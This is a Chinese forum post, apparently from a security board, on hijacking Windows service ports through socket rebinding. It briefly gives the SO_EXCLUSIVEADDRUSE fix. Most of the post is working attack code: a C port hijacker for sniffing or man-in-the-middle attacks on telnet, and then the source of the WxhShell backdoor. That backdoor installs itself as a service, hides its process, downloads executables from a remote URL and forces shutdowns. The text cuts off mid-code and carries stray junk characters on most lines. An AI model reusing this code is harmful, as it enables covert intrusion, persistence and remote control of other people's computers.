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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Fv<]mu  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v!iWzN  
P~;<o! f  
  saddr.sin_family = AF_INET; N IO;  
?|\0)wrRf  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); zp}yiE!bl  
m21QN9(i%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &0?DL  
l^)o'YS y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &IxxDvP3k  
^a: Saq-}  
  这意味着什么?意味着可以进行如下的攻击: $eTv6B?m  
H rM)jC<~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 'cWlY3%t  
3XMBu*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (v9!g#  
RRK^~JQI.2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *)2x&~T*|  
WlF+unB!9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  bf&.rJ0  
btJ,dpir  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ";%e~ =  
3uB=L 7.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 WoC\a^V  
5M/%%Ox  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :Q0?ub]  
^^20vwq  
  #include /@xr[=L  
  #include ^Y1AeJ$L  
  #include TZvBcNi   
  #include    ~)oWSo5ll  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^H@!)+ =  
  int main() IeqWR4Y  
  { VyBJIzs0  
  WORD wVersionRequested; sWqPw}/3>  
  DWORD ret; ]DL> .<]d  
  WSADATA wsaData; `&"H* Ie  
  BOOL val; ,_e/a   
  SOCKADDR_IN saddr; ^Y*`D_-G  
  SOCKADDR_IN scaddr; {!:|.!-u  
  int err; MfZ}xu  
  SOCKET s; "OlI-^y  
  SOCKET sc; mU3UQ j  
  int caddsize; B^6P 6,  
  HANDLE mt; J|ILG  
  DWORD tid;   tp1{)|pwY6  
  wVersionRequested = MAKEWORD( 2, 2 ); .z_^_@qdm  
  err = WSAStartup( wVersionRequested, &wsaData ); bDr'W   
  if ( err != 0 ) { 4 Hu+ljdjB  
  printf("error!WSAStartup failed!\n"); J)R2O4OEd  
  return -1; o?b"B+#  
  } uU<Yf5  
  saddr.sin_family = AF_INET; 9)=as/o  
    ztTpMj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]AN)M>  
A$-{WN.W  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \,?yj  
  saddr.sin_port = htons(23); cd:O@)i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s6qe5[  
  { NoPM!.RU{  
  printf("error!socket failed!\n"); x.d9mjLN8m  
  return -1; p1 o?^A&  
  } 9 /9,[A  
  val = TRUE; x[)S3U J  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 MxCs0::w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %``FIv15w  
  { x{+rx.  
  printf("error!setsockopt failed!\n"); s_RYYaM  
  return -1; .d.7D ]Yn  
  } wv1?v_4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zis-}K<   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 u52@{@Ad  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /a]+xL  
K7CiICe  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Muarryh}  
  { 1Ce:<.99B  
  ret=GetLastError(); D-[0^  
  printf("error!bind failed!\n"); RRV&!<l@$  
  return -1; (2%C% #]8  
  } `5>IvrzXrK  
  listen(s,2); 4E"qpy \(  
  while(1) .}Xkr+ +]  
  {  *A_  
  caddsize = sizeof(scaddr); *aTM3k)Zs  
  //接受连接请求 }p "HD R>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;1"K79  
  if(sc!=INVALID_SOCKET) :CH'Bt4<  
  { ]bRu8kn  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 89WuxCFS  
  if(mt==NULL) "i#!  
  { lMP|$C  
  printf("Thread Creat Failed!\n"); mv + .5X  
  break; |rNm_L2  
  } {5*+  
  } VM-J^  
  CloseHandle(mt); :Z&ipd!yY  
  } h#;yA"j1&  
  closesocket(s); O1/!)E!  
  WSACleanup(); _&yQW&vH#  
  return 0; D:){T>  
  }   9#_49euy|P  
  DWORD WINAPI ClientThread(LPVOID lpParam) GhQ.}@*  
  { 1tg   
  SOCKET ss = (SOCKET)lpParam; i3f/{D/  
  SOCKET sc; \*_qP*vq@  
  unsigned char buf[4096]; S$V'_  
  SOCKADDR_IN saddr; i++ F&r[  
  long num;  vlE#z  
  DWORD val; 5*ABw6'6  
  DWORD ret; =. OW sFv  
  //如果是隐藏端口应用的话,可以在此处加一些判断 CuDU~)`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   M"~B_t,Nw  
  saddr.sin_family = AF_INET; NH|v`rO  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); viKN:n! Ev  
  saddr.sin_port = htons(23); WukCE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Hjlx,:'M  
  { |n]^gTJt  
  printf("error!socket failed!\n"); k%c ?$n"  
  return -1; p61"a,Xc  
  } <;W4Th<4  
  val = 100; +}z T][9w  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wwE9|'Ok  
  { <o p !dS  
  ret = GetLastError(); >YPfk=0f0  
  return -1; 2R.YHj  
  } #16)7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w[loV  
  { ijC;"j/(  
  ret = GetLastError(); ]+,Z()  
  return -1; ,ad~ 6.Z_)  
  } *:)#'cenI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :Im_=S[0  
  { Pq;1EI  
  printf("error!socket connect failed!\n"); +U@P+;  
  closesocket(sc); m;8_A|$A  
  closesocket(ss); (9'MdH  
  return -1; <9B43  
  } ])0&el3-  
  while(1) %`%1W MO  
  { |+ @  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 k|a{ |2p  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 u{exQ[,E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pHKj*Y  
  num = recv(ss,buf,4096,0); U{{RRK|  
  if(num>0) [ *R8XXuL  
  send(sc,buf,num,0); B.|2w  
  else if(num==0) 7zpwP  
  break; h jW RU#  
  num = recv(sc,buf,4096,0); '}LH,H:%G  
  if(num>0) TY~0UU$  
  send(ss,buf,num,0); h.=YAcR0D  
  else if(num==0) C6Dq7~{B  
  break; SO8Ej)m  
  } I0GL/a 4s  
  closesocket(ss); `Fu|50_@V  
  closesocket(sc); U#@:"v|  
  return 0 ; $kkdB,y  
  } H;Z{R@kf  
6R dfF$f  
B<LQ;n+  
========================================================== [Zi\L>PHO  
u;1#eP\;  
下边附上一个代码,,WXhSHELL Ypha{d  
hq(3%- 7&  
========================================================== l<GRM1^kU  
RSzp-sKB  
#include "stdafx.h" Q Gn4AW_  
s^js}9]p  
#include <stdio.h> ,Lox?}t  
#include <string.h> (;C_>EL&u  
#include <windows.h> z[ IG+2  
#include <winsock2.h> Qt]nlui~  
#include <winsvc.h> ]-L/Of6F)|  
#include <urlmon.h> UU$ +DL  
$?ke "  
#pragma comment (lib, "Ws2_32.lib") lr,hF1r&Y  
#pragma comment (lib, "urlmon.lib") I`DdhMi7  
gd#  
#define MAX_USER   100 // 最大客户端连接数 ~'v^__8  
#define BUF_SOCK   200 // sock buffer {RwwSqJ  
#define KEY_BUFF   255 // 输入 buffer :mL\KQ  
 2Np9*[C  
#define REBOOT     0   // 重启 T*|?]k 8@*  
#define SHUTDOWN   1   // 关机 "R4~ 8r  
T>.*c6I b  
#define DEF_PORT   5000 // 监听端口 [|Jz s[  
v; &-]ka  
#define REG_LEN     16   // 注册表键长度 NuLQkf)  
#define SVC_LEN     80   // NT服务名长度 b P4R  
>N{K)a  
// 从dll定义API $ R,7#7bG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V)f/umT%g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =| %:d:r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s+h`,gg9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u-f_,],p  
T B1E1  
// wxhshell配置信息 o} YFDYi  
struct WSCFG { oV&AJ=|\  
  int ws_port;         // 监听端口 @s b\0}  
  char ws_passstr[REG_LEN]; // 口令 \%K< S  
  int ws_autoins;       // 安装标记, 1=yes 0=no B9&"/tT  
  char ws_regname[REG_LEN]; // 注册表键名 k8Qm +r<p  
  char ws_svcname[REG_LEN]; // 服务名 Gp6|M2Vu_5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $NWXn,Y'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _qR1M):yJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `lRZQ:27X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  ?; ZTJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" soRt<83  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T&H[JQ/h  
w[S2 ] <  
}; oe=^CeW"  
] bz']`  
// default Wxhshell configuration uosFpa  
struct WSCFG wscfg={DEF_PORT, pd?3_yU  
    "xuhuanlingzhe", K@)Hm\*  
    1, -R?~Yysd7K  
    "Wxhshell", {0 IEizQ|i  
    "Wxhshell", }te\) Yk.N  
            "WxhShell Service", wf)T-]e  
    "Wrsky Windows CmdShell Service", O(2)A>}  
    "Please Input Your Password: ", 'vq-~y5^#  
  1, q"7rd?r52  
  "http://www.wrsky.com/wxhshell.exe", <7NY.zvwk]  
  "Wxhshell.exe" rvgArFf}]  
    }; $p#)xx7  
OSY$qL2  
// 消息定义模块 5V;BimI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %JF.m$-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tgCEz%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xE`uFHuS}  
char *msg_ws_ext="\n\rExit."; ~xZFm  
char *msg_ws_end="\n\rQuit."; e<2?O  
char *msg_ws_boot="\n\rReboot..."; 2+y<&[A8U  
char *msg_ws_poff="\n\rShutdown..."; gVO<W.?  
char *msg_ws_down="\n\rSave to "; #usi1UWB#Q  
`a2%U/U  
char *msg_ws_err="\n\rErr!"; G;#-CT  
char *msg_ws_ok="\n\rOK!"; CV&+^_j'k  
|3j'HN5S  
char ExeFile[MAX_PATH]; kcGs2Y_*&  
int nUser = 0; MHar9)$}  
HANDLE handles[MAX_USER]; Z.TYi~d/9D  
int OsIsNt; }q7rR:g  
I<yd=#:n  
SERVICE_STATUS       serviceStatus; JDeG@N$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nQbF~   
*S,5  
// 函数声明 nW#UBtZ  
int Install(void); YL*yiZ9  
int Uninstall(void); U-!+Cxjs  
int DownloadFile(char *sURL, SOCKET wsh); .;nU" a3'  
int Boot(int flag); qYjR  
void HideProc(void); 2 u:w  
int GetOsVer(void); ?XOl>IO  
int Wxhshell(SOCKET wsl); >.'rN>B+  
void TalkWithClient(void *cs); QCjC|T9  
int CmdShell(SOCKET sock); R{={7.As+  
int StartFromService(void); <=D !/7$ O  
int StartWxhshell(LPSTR lpCmdLine); 2UqLV^ZY  
Z{&dzc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "*E06=fiG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )*6 ]m1  
$hv o^$  
// 数据结构和表定义 N<XS-XB,  
SERVICE_TABLE_ENTRY DispatchTable[] = sv}k_6XgY  
{ m+&) eQ:  
{wscfg.ws_svcname, NTServiceMain}, zX=K2tH  
{NULL, NULL} %#7NCdk;S  
}; pYXusS7S  
>|[ l?`  
// 自我安装 F<R+]M:fa  
int Install(void) p@`]9tLP(K  
{ YS$42J_T  
  char svExeFile[MAX_PATH]; 2GRL`.1  
  HKEY key; $"#2hVO  
  strcpy(svExeFile,ExeFile); 9UbD =}W  
&:Mk^DH5  
// 如果是win9x系统,修改注册表设为自启动 cviPCjM  
if(!OsIsNt) { 60RYw9d%0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A!xx#+M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R#8.]  
  RegCloseKey(key); =H8 LBM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :U>[*zE4&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g$CWGB*%lm  
  RegCloseKey(key); xJ=@xfr$  
  return 0; 0 rge]w.X  
    } A.[~}ywH  
  } 3Ql77?&k  
} +c+i~5B4  
else { Dej_(Dz_S  
E$8 D^Zt  
// 如果是NT以上系统,安装为系统服务 m@A?'gD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L'A>IBrz  
if (schSCManager!=0) N A`qC.K   
{ A3su!I2S  
  SC_HANDLE schService = CreateService p]lZ4#3  
  ( =eHoJq  
  schSCManager, Of@ LEEh6  
  wscfg.ws_svcname, ;1gWz  
  wscfg.ws_svcdisp, p$S\l] ,  
  SERVICE_ALL_ACCESS, V{D~e0i/v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )0\"8}!  
  SERVICE_AUTO_START, ].(l^W  
  SERVICE_ERROR_NORMAL, %k+G-oT5  
  svExeFile, /[<1D|f%  
  NULL, Zb? u'Vm=u  
  NULL, @Q%9b)\\  
  NULL, p#QR^|7"  
  NULL, Vs"1:gi&  
  NULL 9$~a&lXO5  
  ); (H[ .\O-`  
  if (schService!=0) }M0GPpv  
  { 1 x'H #  
  CloseServiceHandle(schService); *mVQN1  
  CloseServiceHandle(schSCManager); 7A=*3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jl)7Jd  
  strcat(svExeFile,wscfg.ws_svcname); azCod1aL{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \GP0FdpV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ug P  
  RegCloseKey(key); g^mnYg5  
  return 0; r`OC5IoQ  
    } lK2=[%,~  
  } J=`2{ 'l  
  CloseServiceHandle(schSCManager); n@PXC8}  
} Hgk@I;  
} *~%QXNn`  
tso\bxiU  
return 1; &`LR{7m  
} ,bRYqU?#0  
\; FE@  
// 自我卸载 esk~\!d  
int Uninstall(void) OTmw/#ug  
{ o+% ($p  
  HKEY key; p`=v$_]?(  
cGUsao  
if(!OsIsNt) { ][ V@t^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q}r{%ypf  
  RegDeleteValue(key,wscfg.ws_regname); x T{s%wE  
  RegCloseKey(key); #!>QXiyR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `#c36  
  RegDeleteValue(key,wscfg.ws_regname); gnWEsA\!  
  RegCloseKey(key); szw|`S>o  
  return 0; ,w|Or}h]7  
  } HU47 S  
} s*9lYk0  
} ?C`&*+  
else { M'sq{K9  
2SRmh!hr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [ ;LP6n7v  
if (schSCManager!=0)  8\Uy  
{ *Kmo1>^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Rz:1(^oA  
  if (schService!=0) 0 ~^l*  
  { pp1kcrE\M  
  if(DeleteService(schService)!=0) { +8Q5[lh2]j  
  CloseServiceHandle(schService); =DsFR9IB  
  CloseServiceHandle(schSCManager); QqCwyK0  
  return 0; n h&[e  
  } )n{9*{Ch  
  CloseServiceHandle(schService); f|NWn`#bY  
  } W@p27Tiq  
  CloseServiceHandle(schSCManager); J}Ji /  
} _BPp=(|  
} c-`izn]  
y*vg9`$k  
return 1; ?!;i/h*{  
} #%{x*y:Ms  
xv 9 G%  
// 从指定url下载文件 N D1'XCN  
int DownloadFile(char *sURL, SOCKET wsh) /" 6Gh'  
{ Lj Y@b  
  HRESULT hr;  hpOK9  
char seps[]= "/"; @ev8"JZ1  
char *token; B]wfDUG  
char *file; 6e4A| <  
char myURL[MAX_PATH]; 39oI &D>8  
char myFILE[MAX_PATH]; /ULO#CN?;  
jVInTR0f[  
strcpy(myURL,sURL); ~ea&1+Z[3  
  token=strtok(myURL,seps); ; -,VJCPi  
  while(token!=NULL) IiZXIG4H  
  { M2piJ'T4u  
    file=token; 1( vcM  
  token=strtok(NULL,seps); 0ra+MQBg  
  } K/|qn)  
6r}w  
GetCurrentDirectory(MAX_PATH,myFILE); F ,h}HlU  
strcat(myFILE, "\\"); ,'a[1RN  
strcat(myFILE, file); r`A|2(h5B  
  send(wsh,myFILE,strlen(myFILE),0); N51WY7  
send(wsh,"...",3,0); m4 :"c"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @X]J MicJ  
  if(hr==S_OK) [5wU0~>'  
return 0; g<s;uRA4O9  
else |6T"T P  
return 1; y7-dae k  
b0h>q$b  
} 1pZ[r M'}  
~'t+X  
// 系统电源模块 91:TE8?Z  
int Boot(int flag) VNHt ]Ewj  
{ mJa8;X!r6  
  HANDLE hToken; yCZ[z A  
  TOKEN_PRIVILEGES tkp; x4[ Fn3JL  
)!g@MHHL  
  if(OsIsNt) { ^k4 n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C)|#z/"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jOU1F1  
    tkp.PrivilegeCount = 1; B5MEE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f\c%G=y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AN4(]_ ]  
if(flag==REBOOT) { ^/"2s}+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DPylc9[-  
  return 0; -14~f)%NQ*  
} w_9[y  
else { V<0J j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -A)/CFIZ  
  return 0; W=zp:6Z~  
} "-A@d&5.  
  } _[8sL^  
  else { c*Q6k<SKR  
if(flag==REBOOT) { ~[`*)(4E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *}Nh7 >d(  
  return 0; zZI7p[A[3  
} [Ontip  
else { -r@/8"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 66MWOrr  
  return 0; _VI3b$  
} .q_SA-!w>  
} >&l{_b\k  
8I%N^G  
return 1; +8|r_z\A5a  
} \aB"D=P\ok  
 cvO;xR  
// win9x进程隐藏模块 xD4G(]d!  
void HideProc(void) NK|m7 (  
{ XaR(~2  
]-tAgNzl%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .aE%z/@s=  
  if ( hKernel != NULL ) Eumdv#Qg  
  { eVB.g@%T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 62{[)jt{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kJ:zMVN  
    FreeLibrary(hKernel); :j( D&?ao  
  } fqS cf}s  
~#V1Gunq  
return; 7T@"2WYat  
} Cd51. Sk(l  
0fU^  
// 获取操作系统版本 i"U<=~  
int GetOsVer(void) :h)A/k_  
{ U&<w{cuA  
  OSVERSIONINFO winfo; Ax"I$6n>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /e4#D H  
  GetVersionEx(&winfo); fE&wtw{gi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {;j@-=pV  
  return 1; {qkd63 X  
  else 5N4[hQrVJ  
  return 0; 6mbHfL>cO  
} d*TpHLm  
Afq?Ps+  
// 客户端句柄模块 BdZO$ALXL  
int Wxhshell(SOCKET wsl) 9dXtugp|  
{ JdW:%,sv  
  SOCKET wsh; (Jb[_d*  
  struct sockaddr_in client; ~'2im[f J  
  DWORD myID; :i_k A'dl&  
{|Pz9a- :  
  while(nUser<MAX_USER) VIjsz42C  
{ .+TriPL  
  int nSize=sizeof(client); niIjatT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !rMl" Y[  
  if(wsh==INVALID_SOCKET) return 1; (G:K?o)  
7,N>u8cTh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VT&R1)c  
if(handles[nUser]==0) * 5Y.9g3)Q  
  closesocket(wsh); Q9 * N/2+  
else y~N,=5>j  
  nUser++; ^v].mV/  
  } ;qF#!Kb5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "nK(+Z  
fjAJys)Q  
  return 0; \4.U.pKY  
} Jy X7I,0  
$N#f)8v  
// 关闭 socket @Pc]qu  
void CloseIt(SOCKET wsh) \KaWR  
{ O/(qi8En  
closesocket(wsh); K"sfN~@rT[  
nUser--; * QF3l0&  
ExitThread(0); ( |1 $zF+  
} L:y} L  
Zbp ByRyN  
// 客户端请求句柄 EMe6Z!k  
void TalkWithClient(void *cs) 2>l:: 8Pp  
{ y^gazr"  
%8T:rS  
  SOCKET wsh=(SOCKET)cs;  OT9\K_  
  char pwd[SVC_LEN]; }Vpr7_  
  char cmd[KEY_BUFF]; Qj? G KO  
char chr[1]; _|ucC$*  
int i,j; jG0{>P#+  
.Jz$)R  
  while (nUser < MAX_USER) { 8E/]k\  
<)zh2UI  
if(wscfg.ws_passstr) { %TUljX K}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FhZ&^.:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N1KYV&'o  
  //ZeroMemory(pwd,KEY_BUFF); NBR6$n  
      i=0; \>j._#t$h  
  while(i<SVC_LEN) { .BXZ\r`  
X9nt;A2TU+  
  // 设置超时 zVs_|x="  
  fd_set FdRead; AjaG .fa]k  
  struct timeval TimeOut; r6Z&i^cMe  
  FD_ZERO(&FdRead); ]do0{I%\eq  
  FD_SET(wsh,&FdRead); r+;C}[E  
  TimeOut.tv_sec=8; Y$EqBN  
  TimeOut.tv_usec=0; QzIK580%t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w?.0r6j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .bvB8VOrW  
!cLX1S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d'Z|+lq:  
  pwd=chr[0]; '=x   
  if(chr[0]==0xd || chr[0]==0xa) { v|jBRKU99  
  pwd=0; Y.@ vdW  
  break; SPL72+S`,  
  } Tn/ 3`j {  
  i++; T"t3e=xA  
    } =4yME  
C$)#s{*  
  // 如果是非法用户,关闭 socket Iq_cs '  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FgRlxz  
} Y{@ez  
p0uQ>[NV0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f6^H Q1SSt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]BCH9%zLj  
S'V0c%'QQV  
while(1) { B4GgR,P@S  
@y9_\mX!s  
  ZeroMemory(cmd,KEY_BUFF); 6{}]QvR  
a)4.[+wnRf  
      // 自动支持客户端 telnet标准   zF(I#|Vo  
  j=0; (C,PGjd  
  while(j<KEY_BUFF) { kwZ 8q-0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k5=0L_xc  
  cmd[j]=chr[0]; j* g5f  
  if(chr[0]==0xa || chr[0]==0xd) { &iL"=\#  
  cmd[j]=0; FbJlyWND  
  break; F^&_O*"  
  } N4}/n  
  j++; \Q?r+VZ  
    } +Ld4 e]  
S!2M?}LU  
  // 下载文件 p-y,OG  
  if(strstr(cmd,"http://")) { WWc{]R^D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _%;$y5]v  
  if(DownloadFile(cmd,wsh)) AlIFTNg:"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {*`qL0u]^  
  else 5)2lZ(5.A#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |9jeOV}/  
  } 9EK5#_L[=  
  else { H{E223  
|OUr=b  
    switch(cmd[0]) { n4Ry)O[.  
  w8kp6_i'  
  // 帮助 ON~SZa  
  case '?': { c# U!Q7J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n87B[R  
    break; F# y5T3(P  
  } V"#ie Y n  
  // 安装 gb|C592R5C  
  case 'i': { 0j7W\'!t  
    if(Install()) \&`S~cV9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0[7\p\Q  
    else HO/Ij  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vtKQvQ  
    break; p}.L]Y  
    } 'mp@!@_  
  // 卸载 7MZBU~,r  
  case 'r': { 'mXf8   
    if(Uninstall()) ^J< I Ia4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >_jT.d  
    else TIbiw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *R m>bLI  
    break; IKMkpX!]  
    } MxD,xpf  
  // 显示 wxhshell 所在路径 |77.Lqqy,  
  case 'p': { "9jt2@<  
    char svExeFile[MAX_PATH]; <La$'lG4J  
    strcpy(svExeFile,"\n\r"); szu!*wc9  
      strcat(svExeFile,ExeFile); &q^\*<B.^  
        send(wsh,svExeFile,strlen(svExeFile),0); c3W9"  
    break; (/Lo44wT  
    } l E=(6Q  
  // 重启 LuM:dJ  
  case 'b': { \1cay#X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hm!ffqO_  
    if(Boot(REBOOT)) ?& qMC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XZD9vFj1Z  
    else { 0}C> e`<'  
    closesocket(wsh); %nk]zf..  
    ExitThread(0); ?{[ ISk)  
    } IL;JdIa  
    break; Yj3j?.JJk  
    } @iwVU]j  
  // 关机 D[32 t0  
  case 'd': { F7P?*!dx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }'L7<_  
    if(Boot(SHUTDOWN)) Y"6 '  
